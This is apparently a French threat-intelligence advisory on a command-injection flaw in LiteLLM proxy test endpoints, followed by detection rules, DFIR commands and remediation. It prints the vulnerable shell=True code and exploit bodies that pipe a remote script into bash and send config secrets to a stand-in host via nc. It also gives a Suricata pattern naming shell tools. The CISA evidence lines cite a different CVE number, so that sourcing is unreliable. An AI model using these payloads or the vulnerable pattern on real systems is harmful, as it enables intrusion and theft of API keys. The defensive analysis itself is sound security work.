CVE-2026-42271 : injection de commandes système à distance sans authentification dans les points de test du proxy LiteLLM
SCORE DE MENACE HERMES & COMPROMISSION DE LA PASSERELLE D'IA GÉNÉRATIVE
Cible :LiteLLM (Passerelle & Proxy d'IA) Le score CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 97 (CRITIQUE). La cohérence est directe : liteLLM joue le rôle de point de routage central et de coffre-fort de clés pour les charges de travail LLM d'entreprise (OpenAI, Anthropic, Bedrock, Vertex AI). L'exécution de code sur le conteneur LiteLLM expose l'ensemble des clés d'API maîtresses et permet l'empoisonnement des flux de requêtes d'IA directement au niveau de la passerelle.
CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test EndpointsVULNÉRABILITÉ
Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »LiteLLM simplifie l’architecture des applications d’IA en fournissant une API compatible OpenAI sur l’ensemble des fournisseurs de modèles cloud, assurant la répartition de charge et la gestion centralisée des quotas.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-42271 | Identifiant de vulnérabilité international |
| Paquet vulnérable | litellm (Paquet PyPI Python) | Serveur proxy & SDK LiteLLM |
| Fichier concerné | litellm/proxy/proxy_server.py | Gestionnaire de routage des tests |
| Vecteur réseau | HTTP/HTTPS (Port par défaut 4000/TCP) | Passerelle de proxy d’IA exposée |
| Cause racine | Injection de métacaractères de shell dans subprocess (CWE-78) | Exécution de commandes non authentifiée |
| Versions affectées | 1.74.2 à 1.83.6 | Déploiements proxy en production |
| Versions corrigées | 1.83.7 | Version corrective officielle |
| Impact d’exploitation | RCE root dans le conteneur, fuite des clés d’API de modèles | Compromission de la passerelle d’IA |
2. Décomposition technique : injection de commandes dans le module de test
Section intitulée « 2. Décomposition technique : injection de commandes dans le module de test »A. L’appel défaillant à subprocess
Section intitulée « A. L’appel défaillant à subprocess »Le serveur proxy LiteLLM intègre des fonctions de diagnostic pour tester la connectivité des modèles et évaluer les temps de réponse. Dans les versions vulnérables, les paramètres transmis par le client étaient concaténés sans filtrage :
# Implémentation vulnérable dans litellm/proxy/proxy_server.py@router.post("/test/run")async def run_benchmark_test(request: Request): data = await request.json() model_identifier = data.get("model", "gpt-4o") test_runner_args = data.get("runner_args", "")
# VULNÉRABILITÉ : Concaténation de chaîne exécutée avec shell=True cmd = f"python3 -m litellm.benchmark --model {model_identifier} {test_runner_args}" proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = proc.communicate() return {"status": "complete", "output": stdout.decode()}Avec l’argument shell=True, le shell système Linux interprète les séparateurs ; ou | et exécute les commandes injectées :
POST /test/run HTTP/1.1Host: ai-proxy.corp.internal:4000Content-Type: application/json
{ "model": "gpt-4o; curl -s http://198.51.100.33/rev.sh | bash;", "runner_args": "--concurrency 1"}+----------------------------------------------------------------------------------------------------+| FLUX D'EXÉCUTION DE L'ATTAQUE CVE-2026-42271 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] │ │ [1] HTTP POST /test/run (Sans en-tête d'autorisation) │ Charge : { "model": "gpt-4o; cat /app/config.yaml | nc 198.51.100.33 9001;" } ▼ [Démon Proxy LiteLLM (Port 4000)] │ ├───► 1. Évaluation du Routeur FastApi : │ - Le point de terminaison /test/run n'impose aucun contrôle d'authentification ! │ - Transmet le dictionnaire JSON à run_benchmark_test() │ ├───► 2. Exécution du Sous-Processus avec shell=True : │ - Le shell exécute : python3 -m litellm.benchmark --model gpt-4o │ - Le shell traite le point-virgule comme séparateur │ - Le shell exécute la commande injectée : cat /app/config.yaml | nc ... │ ▼ [Compromission du Système Hôte / Conteneur] │ └───► Exfiltration des variables d'environnement de LiteLLM : - OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY - Chaînes de connexion PostgreSql / Redis - Injection de portes dérobées dans les flux de prompts+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces & exploitation dans la nature
Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »- Surfaces exposées : des analyses menées sur Shodan et Censys révèlent des milliers d’instances LiteLLM exposées publiquement sur le port par défaut 4000 sans clé maîtresse activée.
- Motivations des attaquants :
- Vol de Jetons d’API LLM : revente des crédits OpenAI et Anthropic d’entreprise sur les forums cybercriminels ou utilisation frauduleuse pour des inférences massives.
- Rebond Cloud : les conteneurs LiteLLM déployés sur AWS ECS ou EKS disposent fréquemment de rôles IAM accessibles via le service de métadonnées (
169.254.169.254), facilitant une élévation de privilèges cloud.
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploitation d’application publique | Requête HTTP POST distante vers le port 4000 exposé |
| Exécution | T1059.004 | Interpréteur de commandes et scripts : Shell Unix | Injection de commandes OS via subprocess.Popen(shell=True) |
| Accès aux identifiants | T1552.001 | Identifiants dans les fichiers | Vol du fichier /app/config.yaml et des variables d’environnement .env |
| Élévation de privilèges | T1611 | Évasion vers l’hôte | Évasion de conteneur via sockets Docker exposés |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert http any any -> $LITELLM_SERVERS 4000 ( msg:"HERMES DEFENSE - Tentative d'injection de commande LiteLLM (CVE-2026-42271)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/test/run"; http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(curl|wget|bash|sh|nc|python)/i"; classtype:web-application-attack; sid:202642271; rev:1; reference:cve,2026-42271;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Processus shell créé par le démon proxy LiteLLMid: 5c4b3a2d-1e0f-9a8b-7c6d-42271c026e02status: highdescription: Détecte l'exécution d'un shell ou de binaires utilitaires issus du processus Python exécutant litellm.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: linux category: process_creationdetection: selection_parent: CommandLine|contains: 'litellm' selection_child: Image|endswith: - '/sh' - '/bash' - '/dash' - '/curl' - '/nc' condition: selection_parent and selection_childfalsepositives: - Scripts de test légitimes spécifiés manuellement dans des environnements d'intégration continue.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.0046. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Commandes de diagnostic :
Section intitulée « Commandes de diagnostic : »- Contrôle des processus dans le conteneur LiteLLM :
Fenêtre de terminal docker exec -it litellm ps aux# Rechercher des processus enfants suspects sous python3 -m litellm - Revue des journaux d’accès web :
Fenêtre de terminal grep -E "POST /test/run|POST /model/benchmark" /var/log/litellm/access.log - Audit des variables d’environnement :
Fenêtre de terminal docker exec -it litellm env# Vérifier la présence de secrets cloud accessibles au processus
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "term": { "url.path": "/test/run" } }, { "wildcard": { "http.request.body.content": "*;*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Mise à niveau immédiate de LiteLLM : mettre à jour vers la version 1.83.7 ou ultérieure :
Fenêtre de terminal pip install --upgrade litellm>=1.83.7 - Exiger une clé d’accès maître : définir la variable d’environnement
LITELLM_MASTER_KEYpour interdire toute requête non authentifiée. - Désactiver les routes de diagnostic : en production, bloquer les fonctionnalités de test en renseignant
DISABLE_TEST_ENDPOINTS=True. - Renouvellement des clés d’API d’IA : si un serveur a été exposé sans filtrage, révoquer et renouveler immédiatement toutes les clés OpenAI, Anthropic, Google Vertex AI et AWS.